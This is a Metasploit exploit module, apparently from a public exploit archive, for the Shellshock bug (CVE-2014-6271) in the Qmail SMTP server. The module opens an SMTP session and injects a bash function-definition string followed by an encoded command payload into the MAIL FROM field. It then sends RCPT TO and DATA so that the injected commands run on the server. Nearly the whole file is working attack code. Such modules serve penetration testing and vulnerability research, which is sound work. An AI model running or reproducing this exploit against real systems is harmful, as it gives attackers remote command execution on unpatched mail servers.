Qmail SMTP - Bash Environment Variable Injection (Metasploit)

##
# This module requires Metasploit: http://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class MetasploitModule < Msf::Exploit::Remote
  Rank = NormalRanking

  include Msf::Exploit::Remote::Smtp

  def initialize(info={})
    super(update_info(info,
      'Name'           => 'Qmail SMTP Bash Environment Variable Injection (Shellshock)',
      'Description'    => %q{
        This module exploits a shellshock vulnerability on Qmail, a public
        domain MTA written in C that runs on Unix systems.
        Due to the lack of validation on the MAIL FROM field, it is possible to
        execute shell code on a system with a vulnerable BASH (Shellshock).
        This flaw works on the latest Qmail versions (qmail-1.03 and
        netqmail-1.06).
        However, in order to execute code, /bin/sh has to be linked to bash
        (usually default configuration) and a valid recipient must be set on the
        RCPT TO field (usually [email protected]).
        The exploit does not work on the "qmailrocks" community version
        as it ensures the MAILFROM field is well-formed.
      },
      'Author'         =>
        [
          'Mario Ledo (Metasploit module)',
          'Gabriel Follon (Metasploit module)',
          'Kyle George (Vulnerability discovery)'
        ],
      'License'        => MSF_LICENSE,
      'Platform'       => ['unix'],
      'Arch'           => ARCH_CMD,
      'References'     =>
        [
          ['CVE', '2014-6271'],
          ['CWE', '94'],
          ['OSVDB', '112004'],
          ['EDB', '34765'],
          ['URL', 'http://seclists.org/oss-sec/2014/q3/649'],
          ['URL', 'https://lists.gt.net/qmail/users/138578']
        ],
      'Payload'        =>
        {
          'BadChars' => "\x3e",
          'Space'       => 888,
          'DisableNops' => true,
          'Compat'      =>
            {
              'PayloadType' => 'cmd',
              'RequiredCmd' => 'generic telnet perl ruby python'
              # telnet ruby python and perl works only if installed on target
            }
        },
      'Targets'        => [ [ 'Automatic', { }] ],
      'DefaultTarget'  => 0,
      'DisclosureDate' => 'Sep 24 2014'
    ))

    deregister_options('MAILFROM')
  end

  def smtp_send(data = nil)
    begin
      result = ''
      code = 0
      sock.put("#{data}")
      result = sock.get_once
      result.chomp! if (result)
      code = result[0..2].to_i if result
      return result, code
    rescue Rex::ConnectionError, Errno::ECONNRESET, ::EOFError
      return result, 0
    rescue ::Exception => e
      print_error("#{rhost}:#{rport} Error smtp_send: '#{e.class}' '#{e}'")
      return nil, 0
    end
  end

  def exploit
    to = datastore['MAILTO']
    connect
    result = smtp_send("HELO localhost\r\n")
    if result[1] < 200 || result[1] > 300
      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
    end
    print_status('Sending the payload...')
    result = smtp_send("mail from:<() { :; }; " + payload.encoded.gsub!(/\\/, '\\\\\\\\') + ">\r\n")
    if result[1] < 200 || result[1] > 300
      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
    end
    print_status("Sending RCPT TO #{to}")
    result = smtp_send("rcpt to:<#{to}>\r\n")
    if result[1] < 200 || result[1] > 300
      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
    end
    result = smtp_send("data\r\n")
    if result[1] < 200 || result[1] > 354
      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
    end
    result = smtp_send("data\r\n\r\nfoo\r\n\r\n.\r\n")
    if result[1] < 200 || result[1] > 300
      fail_with(Failure::Unknown, (result[1] != 0 ? result[0] : 'connection error'))
    end
    disconnect
  end
end